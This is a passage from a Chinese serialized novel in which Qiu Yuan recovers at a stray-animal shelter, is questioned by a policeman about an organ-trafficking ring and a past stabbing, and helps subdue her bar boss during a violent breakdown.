秋原这才意识到她没有恶意,远远地伸手接过碗,警惕地看了那人一眼,犹豫之下,还是选择狼吞虎咽地把碗里的小米粥喝光。
那人又盛了一碗,起身在衣服堆里翻腾,秋原紧紧抱着碗,小心翼翼地观察着她的举动,看她把几件衣服摆在自己面前,而后退了一步。
“给,给我穿的?”
那人点点头,囫囵地发出一个音节。
秋原拿起衣服摸了摸,不知囤放多久的衣服,还有股霉味。
“都洗过!”大概是觉着秋原在嫌弃这些衣服,那人解释道。
秋原套了件宽松点的毛衣,又穿上件厚外套,身体的温度总算是留了下来。
“是你,救了我?”
女人点点头,叠着地上堆放的衣服。
秋原在垃圾桶旁躺了一夜,夜里下晚班的男人,喝醉酒大街上撒酒疯的年轻人,一大早送孩子上学的女人,路过看到躺在地上的人纷纷绕远避开。
女人骑着三轮车去街上拉捐赠的衣服,发现了路边的秋原,好在那时的秋原长期营养不良身材瘦弱体重很轻,把她抬到车上,带去警察局,被值班的警察打发走。
“拉走拉走,从哪儿拉的从哪儿拉回去!”
女人闻言便把她带了回来。
“谢谢。”秋原很少这么真情实感地感谢一个人,这俩字说出口竟还觉得有些别扭。
等她好点,走出房门才发现这是一个大院子,中间有几棵大树,树下是翻动过的土地,院子一圈围着栅栏,隔成小间,几只不安分的大狗发现“目标”汪汪地叫唤,引得其他狗狗也开始乱吠。
她看到了大门,锈迹斑斑的两扇铁皮,一时间心里堵塞得憋闷,回头看向女人。
“你,可以,多住几天。”
口齿不清的几个字,差点让秋原当场落泪,她想微笑以示感谢,可能是很久没笑过脸上的肌肉有些僵硬,“谢谢。”
既在言语上,也在心底。
而这一住,就是几个月。
秋原病了近一个月,才彻底恢复过来。女人不知从哪里找来的木板,又搭了一张“床”,垫了些衣服,翻腾出来张旧得不能再旧得被子。她让秋原睡在原有那张较舒适的床上。
救助站在一处小山坡上,周围地势崎岖长满了植被,少数较适宜的土地种了果树,很远的地方才有住人。这里只有女人和这些动物,大部分都是流浪狗,少数有些猫,女人在街上看到流浪的猫狗都会带回来。
女人很少说话,平日里也没有人会来看她,每天的任务就是照顾这些小动物,喂食和清理狗舍。好心人捐赠些衣服,拉回来洗洗冬天里给动物们用。秋原病好后也会帮她一起做这些。有时市里的大学会有社团组织的公益活动,走马观花似的哄闹来一场,再挤嚷着离开。
冬天这里什么取暖设备都没有,唯一有的就是能挡风的墙,吃的也相当简单。
农历除夕夜,女人破天荒地包了饺子,没有钱买肉,馅里大部分都是萝卜,还配了些粉条,但这是秋原这么多年真正过的第一个新年。
天气回暖,秋原的心绪也慢慢苏醒,这里艰苦而又简单的一切,让她淡忘掉过往发生的事,
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可看着树枝冒了新芽,女人在树下的空地里种上蔬菜种子,她呆愣愣地望着透过枝丫的太阳,女人的声音把她拉回现实,她递给女人小铲子。
那一刻不知怎么,突然意识到,她早晚都要走的。她还是要走的。
女人直起腰看到发愣的秋原,她并没有明白此刻秋原在想什么。
秋原收回视线,阳光下看清女人的面容,这样的面孔她看过多少次了?以至于现在看到没有一丝恐惧,反而过多的是心安。
她笑了笑,女人也笑了。
阳光下,这一幕似乎很祥和。即使半米高的围墙,再简陋不过的住所,却让她体会到人与人之间最亲近的距离。
她们之间很少用语言沟通,可能是女人很久不说话的缘故,也可能声带受过损伤,她的话含糊不清。
秋原也曾好奇她曾经经历了什么,但每当她想一问究竟的时候,看着她那张脸,看着她无比真诚的眼神,到嘴边的话,也都消失得一干二净。
一个平常的早晨,一群人的突然出现打破了往日这里的沉静,女人让秋原不要出去也不要出声,女人独自出了门。
几个男人堵在救助站的门口,秋原趴在窗户上听不清他们在说什么,女人一直在摇头拒绝。好在没一会儿那些人就离开了。
秋原问女人那些是什么人出了什么事。
女人解释道是某个建筑公司的人,计划开发这片土地。
秋原没头脑地来了一句,“他们给钱,离开这儿不是挺好的吗?”
女人没作声,但秋原看到了她的眼神,这才意识到说错了话,“你不会离开这儿,好吧当我没说。”
转眼,天气热了起来,春天短暂得屈指可数,很快就步入了夏初,与此同时秋原也陷入了深深的焦虑之中,她不知道这样的日子要持续到什么时候,又担心这样的生活转瞬即逝,她不知道自己该去往何处,又不知自己存在着究竟有什么意义,急躁,恐惧,围绕着她侵蚀着她,让她常常坐立难安魂不守舍。
女人把这些都默默看在眼里。
过了小满,接连下了几天雨,秋原搬了小板凳坐在房檐下,望着窗外愣神。
女人也搬了张小凳,坐在她旁边。
“雨停了,你想出去,就去吧,晚上再回来,什么时候能在外面生活下去了,就不用再回来了。”
女人的声音很轻,也很浑浊,字连着字口齿不清,但秋原当时就听懂了。
秋原本想说她会回来看她的,但话到嘴边,便感觉不是那么回事了,她能一个人生活下去吗,她还有机会回来吗,最后她只是看着女人也只是微笑。
女人的眼睛很漂亮,很多人第一眼会被她的脸吓到,不会再注意她的眼睛,秋原也是来这里很久后,才发现她的眼睛是如此美丽,像是母亲的眼睛,温柔,澄澈。
夏至的前一天,女人拜托秋原去街上买一些药,拿了以前的药盒给她带上。秋原事后回想,她是不是早已预感这一天会到来?只不过没曾想是何种方式。
等秋原回来时,消防员已经把火扑灭,一场火已经把救助站烧了个干净。
28.知了的尸体 12
被噩梦缠身的秋原怎么也挣脱不开,沉重的敲门声打断了梦境的编织,她从沙发上惊醒,大口大口呼吸,额头上满是汗,敲门声还在继续,她踉跄着起身,顺了顺头发,走到门前深呼了一口气,这才打开了门。
“找我什么事?”
江岩看她状态不太好,“有些事想问你。”
秋原让开了半步,让他进来。
江岩等着她咕咚咕咚喝了一大杯水,看着她落座,收拾的行李还尚未回归原位,“你是要走?”
秋原摇摇头,“不用走了。事情解决了。”
“什么事?”
秋原长叹一口气,吐出俩字,“私事。”
“这两个月你去哪了?酒吧你没去,房子也没人住。”
“私事。”
江岩点点头,抽出一张照片,“华明锋知道吗?”
秋原瞥见照片上是她和华明锋走在一起,她警惕地看着江岩,“什么意思?”
“华明锋因组织器官买卖,被抓起来了,你知道吗?”
秋原没有回答,江岩接着说:“华明锋跟一家私人医院合作,买卖器官,进行器官移植,抓捕他的那天,手术台上本该进行一项手术,但只剩下了受体,提供器官的人却不见了,你有什么想说的吗?”
见她还是不说话,江岩接着说:“受体是个尚未成年,十七岁的男孩,出事两天后,死了。他应该是满怀欢喜地上了手术台,他父母都是打工的,好不容易凑了十几万,给他换肾,结果呢,什么都没了。”江岩说得很慢,一字一顿,听不出偏倚的私人感情,像是在考验她的耐心。
秋原的眼睛一下子放大,两只手不自然地握紧,那个男孩,已经死了……
“沈榕父母借了高利贷,还不了钱找上了我,这几年存下的钱都给了他们,也还不够,就想起来之前去过店里的那个人。”
“你知道他是干什么的吗?”
“知道。陆川说过店里人不允许跟他联系,但我一时间想不出什么拿得出那么多钱的法子了,就联系了他。”
“你是怎么从那家医院离开的?”
“我在手术台上被注射了麻药,什么都不记得了,醒来后是陆川在,我想应该是他们,他救的我。”
江岩留意到她换了称呼,“只有陆川?”
“是的。”秋原突然想起什么,从箱子里翻出什么东西,拿到江岩面前,“这是之前我跟华明锋谈话的录音,我怕他不给钱,就把所有的话都录了下来。”
他抬手的瞬间,秋原突然缩回了手,“我,我不会被抓起来吧?”
江岩伸手抽了过来,似是故意嘲讽,“你什么时候这么有法律意识了?还有个问题。”
秋原闻此坐了下来。
“黄昊军,这个人听过没?”
“没有。”她回答得斩钉截铁。
“黄昊军受雇于嘉海,为他们开发区项目做说客,说是这样,很多不同意的住户都受到了恐吓和打骂,救助站也在开发区内,这个钉子户磨了好久,后来一场大火烧光了整个救助站,站长也死在火灾里,开发项目得以顺利进行。”
秋原走到窗户前,似是有些愤懑,“你跟我说这些干什么?”
“黄昊军这个人,性格恶劣,打架斗殴犯过不少事,得罪了不少人,但他就此安分下来,是在橘子酒吧遇刺,差点丢了性命,按理说,这样飞扬跋扈的一人,遇到这事肯定不会善罢甘休,但他还真就消停了。我没记错的话,那之后不久,你就在橘子酒吧上班了。”
空气沉寂了片刻,秋原猛地转身,牙咬切齿地说:“黄昊军害了多少人你不去查,跟我说有什么用!火是他找人放的,人是他害死的,你爱信不信!你们这些警察,只会道貌岸然高高在上地说些屁话,罪犯不去抓。”
最后几句,秋原眼里满是冰冷和憎恨,想要把她压抑的情感全盘托出。
江岩站起身,轻轻地叹了口气,直视着她的眼睛,“罪犯我会亲手抓住,无辜的人不会枉死,只提醒你一句,若是你犯了罪,你就和他们是一样的。”
说完他转身离开,带上了门。
秋原听闻他的话,慢慢松懈下来,脸上的神情也逐渐变得落寞,久久地望着门的方向。
一把刀捅进一个人的肉身中,她还记得那种感觉,没有想象中那么难,但也只一刹那间,便颠覆了固守的意志,并非凌驾于他人生命之上的快感,而是对蝼蚁般恶臭生命的恶心。
酒吧里的人受到惊吓纷纷散开,她看着黄昊军张牙舞爪地想扑过来抓住她,嘴里像是含着口痰呜咽不清,血染红了他的衣服,在灯光下看着发黑,他试了几次没有成功,踉跄着栽倒在地,大概酒精已经麻痹了他的神经,看不出他的痛苦,更多是茫然,浑浊的茫然。
酒吧的几个服务员有序地疏散了客人,一个人蹲下身查看黄昊军的状况,后来她才知道,给黄昊军做急救措施的是陆川。
她不知道的是陆川认出了她,曾在火车站见过一面,他让麦子通知了康静山。
那是她第二次见到康静山,也是他第二次帮她。
他的步子懒洋洋的,气场与酒吧浑然天成,融合得分毫不差,他瞥了眼躺在地上的黄昊军,又走到她面前,微微弯下腰,眯着眼看她的脸,像是在玩味,“在我店里,杀人?嗯?”
秋原那时已经虚弱到说不出话来,只憋着一口气没有瘫倒,她握着刀的手用了用力,刀片上的血顺着刀刃汇聚到刀尖上,落在地上的嘀嗒声被淹没在无尽的嘈杂声中。她试着张口说些什么,说他罪有应得,说她一命抵一命,然而什么都没说出口。
看到黄昊军挣扎着还未断气,秋原不自觉地举起了手中的刀,康静山注意到了,拉着她的手蹲在黄昊军身边。
黄昊军像是受到了巨大的刺激,瞳孔放大恐惧地想后退。
康静山抓起她拿刀的手,刀尖朝下抵在黄昊军心口,轻描淡写地说:“这儿是心脏,一刀下去活不了,这儿,喉咙,也没得救。”说着,抓着她的手把刀刃抵在黄昊军脖子处,手腕上施了力,刀刃见皮肤即一道血印。
秋原惶恐地甩开他的手,握着刀的手不停地颤抖。
康静山观察着她的脸,短暂的几秒在秋原看来已是静止的时间,心脏也充血放慢了步调。他慢慢地从她手上接过刀,饶有兴致地晃悠着刀柄,嘴里还念叨着,“不是把好刀。”
似是玩够了,他站起身,示意陆川和几个人带黄昊军去医院,耿山南安顿店里,所有的客人离开前都心照不宣地闭了嘴。
麦子在黑暗中坐着,从始至终警惕地注视着秋原。虽年少,但他总能敏锐地察觉出一个人身上的味道,是善是恶,是阳光,还是凶狠。
康静山倒了杯酒,递给她,坐在旁边,“也许,我可以再帮你一次。”
秋原把救助站的事告诉了他,好在他没有问之前见面的事,也没有追问她从何而来。不知何时,她窝在沙发上睡着了,听闻脚步声和话音,才知黄昊军脱离了危险。
那之后,黄昊军没来找过
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她,警察也没来过,秋原就留在酒吧了。
秋原回到酒吧上班时,玫基也在,看到她的出现显然让她很不爽,踩着近十厘米的高跟鞋上二楼了。麦子看了她一眼,也跟着上去了。
耿山南盖上一瓶酒,亲切地问:“感觉怎么样?还没调整过来我让静山多给你几天假。”
秋原微笑着摇摇头,“不用了,本来就没什么。”
她准备去换衣服,走了两步又停了下来,“玫基也来了,是不是这次的事,对康静山他……”
“你不用担心,静山做事有分寸,玫基来也多是为了看静山。”
秋原点点头,默默去换衣服了。
周末姜海澜来看秋原,带了些零食和水果。
“我知道你这儿什么也没有,我就自己带来了。”说着端着洗好了的水果坐到沙发上,“你没事吧?之前看你走得那么急,我也没来得及问什么事。沈家那边还来找你事吗?对付他们那种人啊,就不能心慈手软。”
姜海蓝看了一眼秋原,随即笑着改口,“不是,我是说……”
“没事,他们跟我已经没什么关系了。”
姜海蓝看她神情不太对,忙转移话题,“这段时间你去哪了?”
秋原冷笑一声,“本打算卖肾给他们筹钱……”
“什么?”姜海蓝扑过来抓着她的手,紧张兮兮地问“你去卖肾了?”
“没有没有,”秋原看她如此慌张,忙解释清楚,“最后出了点岔子,手术没做下去。”
“你怎么这么傻!你是没看什么新闻啊,人往手术台上一躺,一麻醉,什么都不知道了,谁知道那些人把你什么心肝肺能挖走的全挖走了!”
秋原这才觉着后怕,“不至于吧?我都留下所有的证据了。”
“不至于?你要知道买卖器官的那都是什么人,那些人都不要命啊!真该说你什么好呢,还好你这条小命还留着。我问你,你知道自己的问题了吗?”
“什么……问题?去卖肾?”
姜海蓝一脸严肃地看着她,“你养父母怎么对你你最清楚不过,他们几番纠缠一下你就要拿肾去填那个无底洞,你说你是不是傻?”
秋原试探性地点点头,被她训得一愣一愣的。
“哎呀,”姜海蓝晃了晃秋原的脑袋,“你这脑袋瓜里装的是什么!他们不值得你为他们做这种牺牲,他们对你不好,你由着他们这么下去他们不会放过你的,只会拿你当摇钱树,有一次就有第二次,你不狠心对别人就是对自己的不负责任知道不?你的善心呀好意呀什么的都应该给值得的人,给对你好的人,听明白没?”
“哦……比方说你?”秋原说这句话时没忍住笑了。
姜海蓝也被她逗笑了,“真是拿你没办法。”
“对了,你跟你妈妈,关系有没有好点?”
姜海蓝撇了撇嘴,“她不想见我,我不想见她,也就这么着吧。”
“你们之前的关系不应该挺好的吗?”
“以前?以前还行,不过我爸走之后,可能见着我就让她想起我爸吧,她难受,我心里也堵得慌,索性不回去碍眼。”顿了一下,她接着说:“其实吧,我妈很喜欢我爸,他进去后她就一直等着,熬着熬着病是扛过来了,也总算熬到了我爸出来,可是谁知道,她还没来得及见上我爸一面,他就……可能她怨的是这儿吧……”
两人一句搭一句地聊了好久,姜海蓝走后,秋原一个人坐在之前的位置,这种能有人说话的感觉,真是太好了。
29.乔木兰花 01
四月初,柳树发了新芽,蒙蒙一片新绿,摇摆在带着暖意的微风中,看得人心里痒痒的。秋原提早出了门,慢悠悠地走在街上,注意到这一细小的变化,在心底萌生出巨大的欢喜,有幸目睹到这个世界的些许变化,而自己就是这一幕的见证者。
到酒吧时候还早,碰上耿山南出门。
“冰箱没什么菜了,我去菜场买点。”
“需要我帮忙吗?”
耿山南听到这话想了一下,笑着说:“可以帮我吗?”
菜场不是很远,温度时间都刚刚好,两个人一路徒步过去。
在耿山南身旁,会让人觉得莫名的心安,他多次不动声色地帮自己解围,她都一一记得。
他大概三十多岁的样子,个头很高,身子骨并不瘦弱,看得出来经常锻炼,再加上他温文尔雅的性格,难免给人很踏实的感觉。
路上一个行色匆匆的男人险些撞到秋原,耿山南伸手揽过她的肩膀,那个男人撞到耿山南,嘴里说着抱歉的话步履不停地走了。
同时耿山南身上的钱包掉在了地上,秋原弯下腰捡起来,从中散落出一张小照片,被裁掉了一部分,面相和蔼的女人拥着一个小女孩。
“抱歉。”秋原为自己不小心看到了他的隐私而道歉,把钱包和照片一并还给了他。
“很可爱吧。”
“嗯?”
耿山南注视着照片,拇指在照片上摩挲,旁若无人地微笑着,“我女儿。”
这三个字很轻,但却让人感觉得到无限的怜爱。
“是的,很可爱,很像你。”
两个人接着走,菜场的大妈都认识耿山南,招呼着说他怎么好久不来,称好的菜袋子里又塞了一把。耿山南细细挑了几样菜,秋原在一旁看他挑菜得入迷。
两人手里满当当地回归,秋原忍不住赞叹,“阿姨们对你都好热情啊。”
耿山南略带一丝骄傲的笑了,“买菜的时候就这一点好处。”
两人并排走着,为了配合秋原的步调,耿山南故意放慢了脚步,她忍不住感慨,真的是很会照顾人的男人啊。
“山南哥,你……妻子和女儿,现在怎么样了?”秋原低着头看着脚下的路,小心翼翼地问道。
“她们生活得很好。”
秋原仰起头看了他一眼,本以为会再说些什么,可他就这么沉默着了,便放弃了探究。
到了街区,路过一家婚纱店,摆放着纯白婚纱的橱窗前,耿山南停下了脚步,深情而沉郁地盯着那件婚纱。
秋原默默地站在一旁,此时的他应是陷入了自己的回忆当中。
“她穿婚纱很美。”
秋原从橱窗上反映出来的看得出他脸上的悲伤。
“我是一个混蛋,年轻时干了很多坏事,她是我有一次在街上跟一伙人干架时遇到的,她崴了脚,收拾完那一帮人后我送她去医院,不知道那时她是怎么看上那么混的我,没有婚礼,没有安稳的工作,结了婚她也工作着,家里的开支基本上都是她在负担,真不知道她爱我什么,大概是觉得我会变好,每晚一个人入睡前都会做这样的祈祷吧……
后来生了女儿,她跟我谈希望我不要再做那些事,那时我脑子里在想什么啊,完全忽视了,她一个人带孩子,还要工作,就这么坚持了三年,我有时候心疼她,让她不要工作了,她不想。
女儿三岁生日的时候,我们决定好好庆祝,定了酒店,请了双方的父母,那时第几次跟她父母一起吃饭啊,记不得了,不过那天下着雨,夜深了我也没有出现,当我浑身是血地回到家里时她哭惨了,她抱着摊在地上浑身湿透的我,外面打着雷,女儿哇哇在哭,我伤好了,她带着女儿走了。
要是那时候我能醒悟过来多好,还能挽留她,当时觉得她跟着自己太危险了,收拾行李跟着那帮兄弟坐车走了,我就那么浑浑噩噩地活了好多年,她不在我身边,连日子都记不清了,后来被兄弟背叛又一次受伤,很重,躺在大街上觉得我快死了,满脑子想的都是她,想她,想我们的女儿,那时候是静山救了我,就这么活了下来,可她已经不在我身边了。”
“你没想过……去找回她们吗?”
耿山南苦笑一声,“她所有受的伤,都是我带来的……”
“也许她还在等着你呢?”
他摇了摇头,抬脚走了。
如果当时他说出口,秋原这姑娘一定会这么说吧,她会确信,她们还在等着他吗……
她坚持了那么多年,只因为她深爱的是他这个人,不论他怎么变,他亦是同样爱着她。
有些人始终爱你,不论你是何样貌,不论善或是恶,始终爱你如初,即便站到了黑暗中,也不放弃爱你。
一片枯叶落了下来,秋原抬头望向树枝,新叶正在生长,枯叶虽飘零惨淡,但落叶归根崭新的叶子仍在孕育当中。她抱紧了怀里的袋子,脸上没什么表情,小跑追了上去。
她不知道他的故事,同样也不知道他的悲伤。
“山南哥今晚做什么饭啊?我看你买了土豆山药,还有青菜这些静山都不怎么喜欢吃,要不煲个汤?他可能……”
婚纱店,年轻的女孩正在试着衣服,纯白的婚纱在她身上映衬得格外动人,男孩挽着她的手站在镜子前,两人相视一笑。
进酒吧门时正好和冯麦打个照面,他趾高气昂地用余光瞥了秋原一眼,先于她侧身进了店里,像个非要争个高下的小孩子。
秋原并无在意,紧随其后到了店里,只见着岳楼在搬酒。
“陆川呢?”
“川哥不知有什么事出去了还没回来。”
“山南哥呢?”
“山南哥还没来,不过这酒是他定好的。”
“哦那我帮你一起。”
“不用不用我力气大没几趟就搬完了。”
秋原帮着岳楼搬酒,突然巨大的声响从楼上传来。
坐在架子鼓前的冯麦卸下耳机,一脸疑惑地问:“什么声音?”
“二楼……康哥?”岳楼试探性地说道。
秋原把酒摆放整齐,“没事过一会儿就好了。”
话音刚落,玻璃破碎的声音在头顶炸裂。
“这什么声音?玻璃?”
岳楼无辜地摇摇头,毫不知情地说道:“不知道。”
冯麦噌地起身,飞奔上楼。
“我上去看看。”秋原不放心,紧跟着上了楼。时不时传来的巨大撞击声把她吓一跳。<
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康静山的房门虚掩着,冯麦在门前停顿住了,一声巨响之下他推开了门。
地上一片狼藉,不知什么玻璃物件碎了一地渣子,康静山发了疯一般把所有触手可及的东西摔在地上,书架的重量过大把他带倒了在地上,胳膊撑在满是碎渣的地板上,右手摸到了一大块玻璃,握紧在手中。
冯麦本想踢开那块玻璃还是晚了一步,被他发现了自己的存在,虎视眈眈的眼神看得他心里发毛。
秋原轻轻拍了下冯麦的肩膀,弯下腰靠近康静山,尽可能令他放松,“静山?是我,是我,秋原,你先冷静冷静,这儿是酒吧呀,你的地方,把手里的东西给我,先给我。”
秋原伸出手,慢慢接近他,在她快要拿到那块玻璃时,康静山突然发怒了,挥着玻璃块,秋原躲闪开,后退没站稳倒在了墙根。康静山踉跄着起身,眼睛狠狠地瞪着突然出现的两人,两步走近掐着冯麦的脖子把他抵在墙上。
此时他不知轻重下手极狠,冯麦吸不上气,双手试图掰开的左手,但他却纹丝不动。
他拿着玻璃的右手在滴血,慢慢向他脖颈处靠近。
秋原摸到了腰间的刀,拔出来举到半空,看着僵持着的两人,握着的手用了用力,还是扔在了地上,她起身抓住康静山的右手手腕,纵使她气力较一般女孩子会大一些,还是无法拦住他,反而被他一个挥手顺倒在地上。
慌乱中瞥见散落在地上的针管,看了下僵持着的两人,冯麦左手挡着玻璃,看样子坚持不了多久,她把针管拿到手里,起身从康静山背后勾着他的脖子,一针打到他脖子处。
不知这药多久见效,秋原伺机把康静山从冯麦身上拉开,两人都倒在了地上。冯麦弯着腰剧烈地咳嗽,脸色惨白。康静山挣扎着起身,失去神智的眼睛盯着她,秋原坐在地上往身后蹭,四下观察着形势,左侧靠近阳台的地上没什么玻璃渣,等下可以把他往那么引。
她退到两三米外才站起来,深呼一口气,两人对峙着,赤脚踩在玻璃渣上的康静山像是感觉不到疼痛,握着玻璃的手慢慢松开,玻璃掉在了地上,他的眼神有些飘忽,下一步一个没站稳倒在了地上,眼睛迷茫地四下闪烁。
秋原把玻璃踢开,蹲下身察看他的情况,“静山?静山?”
岳楼在楼下徘徊良久,不放心偷偷跟上来,从门缝里瞥见这一幕,探出个脑袋,“秋原,康哥怎么样了?”
秋原看到他心下一喜,“我给他打了镇定剂,你来帮我把他抬到沙发上。”
两人合力小心地把康静山抬到沙发上,他身上有很多处玻璃伤口,秋原觉得自己难以应付,“你去打电话让陆川赶紧回来,这些伤口我处理不了。”
“要不我开车送去医院?”
“医院……你先联系下陆川看他在哪里。”
“好!”,岳楼麻溜地窜下楼打电话去了,秋原拍了拍康静山的脸,轻声唤他的名字,“静山?静山?我是秋原。”
缓过来的冯麦跪坐在沙发旁的地上,“康哥?我是麦子啊!”
康静山眯着眼,眼睛已没了焦点,嘴巴一动一动,似有话要说,秋原轻握着他的左手。
他右手的伤口很深,身上多处伤口都还留有玻璃残渣。
30.乔木兰花 02
“陆川呢?联系上了吗?”秋原一回头,本以为是岳楼,没想到是个不认识的男人,还晃晃悠悠相当惬意,她一下子生气了,站起来赶人,“店里还没开始营业,晚点再来,二楼私人住所不允许上来。”
秋原真是气急了,声音都满是怒意,没想到那人却嬉皮笑脸地无视了她的话。
“呵,这怎么了这,看这样子伤得不轻啊?”
麦子听闻回头看向那人,言语中透露出欢喜,“章哥?太好了,快,康哥受伤了,你快,”他说着转向秋原,“不是有急救箱吗?在哪里快拿过来!”
章姓男子绕过冯麦走到沙发前,看着秋原说:“你?给他,打了一针?”
没等秋原回答,他就自说自话,拍了拍康静山的脸,“还是这么能扛,这一针要别人早睡过去了。这位姑娘,没想到啊,你还能给他打上这一针啊,真真看不出来,瘦瘦小小的身板,你没受伤吧?”说着凑到秋原眼前东瞅西瞅的。
“你是医生?”秋原怒气冲冲地看着他。
“哎呀看你这小姑娘,怎么这么大怒气呢?生气多了不好,容易衰老的。”
秋原没等他回答,推他到沙发前,从倒了的柜子里翻出医药箱,放在沙发前的地上,打开把镊子递给那人。
那人往后一躲,“我又没说我要救他!再说了我什么时候说我是医生了?”
秋原站起身,镊子指着那人,明明拿的只是个小镊子,却像拿着把刀,“你既然来了,麦子说你能救,你就救他,救不了,你也别想走。”
“章哥啊这都什么时候了你就别管这些有的没的,你先看看康哥怎么样了。”冯麦到底是个孩子,此时险些哭了出来。
看着眼前这一个怒目而视的姑娘,一个悲痛欲绝的小伙子,男人忍不住笑了,踢了沙发上的人一脚,“你说说你这儿都什么人?”
说着接过了镊子,“有酒精没?没有的话直接来白酒。”
秋原起身去对面的屋子里翻腾出酒精来,男人看着虽没个正形,上起手来却一本正经。
“要不再给你打一针?”
康静山的眼睛微微睁着,闭了下眼似是拒绝,章姓男子刚准备动手,被康静山抓住了手腕,眼神瞥向身旁的冯麦。
那人这才注意到,抓着冯麦的手,语气里还有一丝惊喜,惊喜?“哟?你手也受伤了?来我先给你处理。”
冯麦挣脱开,“这都什么时候了我这没事你赶紧给康哥……”
男人打断他的话,抓着他的手越用力了,“我也没兴趣给你们包扎这皮外伤,不过你康哥说了,你先给你处理他又不让我动,你说我怎么办?那我不管你了你们自生自灭去了。”说完还松了手。
冯麦听闻赶紧把他的手放在自己手腕上,“哎呀那你就别废话了赶紧赶紧的!”
男人笑而不语,慢悠悠地给冯麦清理伤口。
“好了,”章先生放下手里的东西,伸了个懒腰,“哎哟真是见着这家伙怎么都没好事。”
这时房门被撞开,陆川匆忙中冲进来,“静山怎么样?”
他先看到了躺在沙发上睡着的康静山,神情这才放松下来,这才注意到站着的章先生,“章先生?你什么时候到的?”
“正巧正巧,赶上了这家伙刚到下。”
“他没事了吧?”
“没事了没事了,皮外伤,对他而言都司空见惯了。”
秋原这才注意到门外还站着一个人,颇为关心地向屋内眺望。
“不过,他状态怎么这么差?我给他的药都没吃?”
“他除了一点甜食,每天基本上什么都不吃,觉也睡不着,睡也差不多都是昏死过去。”
秋原看了一眼躺着的静山,这才发觉距离她上次好好看他时,确实憔悴了不少。
章先生叹了一口气,“哎哟,这可不好办,等他醒了再说吧,”说着往外走,注意到门口的人,“哎这儿还有个小姑娘,也是你们酒吧的人?不是说没女孩子吗?”
“哦她是我朋友,不是酒吧的人。”
“你好啊姑娘。”章先生笑得很温柔。
女孩退了一步让开路,本就悲伤的脸上硬生生挤出一点笑意,“你好。”
“怎么不太开心?来这边请我请你吃好吃的,南山这家伙肯定做了不少好吃的。”故意叫错人名字不说,明目张胆地把这儿当自己家也是没谁了。说着轻轻抓起女孩的手腕往对面房间走。
女孩不舍地回头张望,陆川没有回头看她一眼。
秋原简单说明了下情况,陆川环视了屋子里的狼籍,“你手没事吧?”
冯麦反应了一下才意识到他问的是自己,“我啊?我没事。主要是康哥……”
“让他好好休息。”他转身往外走,注意到地上的刀,弯下腰捡了起来,拿在手里端详,回头递给秋原,“你用这把刀了?”
“没有。”
那把刀是她刚来酒吧时,康静山给她的。
“既然是静山给你的,你收好。”他注意到岳楼一直在一旁待着,“辛苦你把房子里收拾下。”
“好没问题。”
“陆川!”秋原叫住了他。
“还有什么事?”陆川此时的脸色并不怎么好,但还是停下了脚步。
“这些玻璃,从哪儿来的?”
陆川静静的看着她,空气里弥漫着异样的味道,冯麦没懂他们这是在干嘛,“你们这……”
“静山一个朋友送的,鱼缸,他之前说,想养点活物,又不到扰他。”
“你确定?”
冯麦一头雾水,站起来拉了下秋原的袖子,“秋原你在说什么呢?”
陆川回过头眼睛直视着她的目光,冷静地说:“你想说什么?”
“为什么你刚好不在?”
陆川的眼神变得冰冷,夹杂着不知哪里的愤怒,岳楼在一旁一句话都不敢说,秋原迎着他的目光毫无惧意。
就在岳楼以为陆川要发怒时,谁知他突然笑了,浅浅地笑了一声即恢复了严肃,“是我的失误。不过,静山果然是对的。”
“什么?”
不等秋原追问,陆川就出去了,冯麦没受伤的手拉着秋原,“别追了,川哥心情不好,你就别碰钉子了。”
秋原愣了下,陆川心情不好吗?
秋原和岳楼两人收拾房间,冯麦坐在沙发旁的地上,作为一个伤员自然是不能让他参与打扫,可他坐在地上就是不肯走,非得陪着康静山不可。等两人整理完房间,陆川和那个女孩已经离开了,陌生男人在对面房间坐着,秋原自知那个章姓男人难缠,没理他就下楼去了。
“哎哎,你别走啊!静山怎么样了?”男人瞄到秋原的身影,端着酒杯走到门口,靠在门框上一副居高临下的模样。
秋原下了几节台阶的脚
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停住了,既然是康静山的朋友,还帮了他,她就不能完全无视这人。她回头看他,客气地说:“麦子守着他,已经睡过去了。”
男人若有所思地点点头,看她又要走,忙说:“还有,你就是店里唯一的小姑娘啊!”
看到秋原欲言又止的表情,男人狡猾得笑了,“看来,你有问题想问我啊?来来我们坐下来聊聊,陆川带着他姑娘走了都没人陪我玩了。”
秋原将信将疑地跟着他进了屋,不知这人到底知道些什么嘛。大餐桌上摆着不知他从哪里翻腾出来的耿山南做的甜点,“你把这些吃了,康静山醒来不会放过你的。”
男人看了她意眼笑了,“还挺了解他的嘛?那儿有水果,你帮我洗洗。”
“要吃自己洗去。”
“这不是某人有求于我我才给个台阶下嘛,看来某人不领情啊?”
秋原白了他一眼,纵使嘴上不说,她也知道此刻是她有求于他,于是起身去洗水果。
等她把水果端上桌子时,那男人又喝完了一杯酒。
他拿起一颗葡萄扔进嘴里,饶有兴趣地问道,“你想知道什么?其实我也挺好奇的,康静山怎么会把你留在店里,那个事对他打击还挺大的,你们怎么认识的?”
男人一连串倒盘问起了秋原来,不过倒不是秋原故意,而是她的注意力全部哪句话所吸引,直接问道,“店里之前发生过什么事?为什么一直都没有女生?”
男人胳膊放在桌子上,正儿八经地坐正看着对面的人,“转移话题倒是挺机灵,虽然人看着不怎么聪明。”
“你是不想告诉我?还是康静山不许你说?”
“你就没问过其他人吗?”
“我感觉,这件事大家都避而不谈。”
“呵,也对。”
“你想要什么?才肯告诉我。”
“呵,我知道的多了去了,怕是你给不起。”
秋原看着他略带笑意的眼睛,竟感觉那像是一双狐狸的眼睛,再多看几秒,就能让她深陷其中成为不受控制的傀儡。
男人移开视线,轻飘飘地说:“今天我心情不错,你想知道,我倒是可以告诉你。”
据他所说,酒吧之前出过一次事,店里的一女孩被一喝了酒的疯子纠缠,以为她是陪酒陪睡的小姐,女孩和其他店员好言解释就是不听,谁知那疯子还恼了,突然拿出一把刀。把女孩当场割喉,出事后静山到了现场,手捂着女孩的脖子,女孩呜呜丫丫说不出话,血流了一地,救护车还没到,人已经断了气。静山就陪她到最后。
秋原惊讶得一动不动,感觉手脚都发凉,她没想到竟是因为这样的原因。血流一地,女孩绝望而痛苦的神情,不知为何就在她脑海中显现了出来。
“那女孩是静山建这家酒吧最先认识的人,从一开始就在,帮了他很多,对了,以前酒吧不叫这名儿,那女孩特别喜欢吃橘子,后来静山就让人把名字改了。”
男人的手在秋原眼前晃了下,看她的眼球动了下,“听傻了?”
“没,没有。”
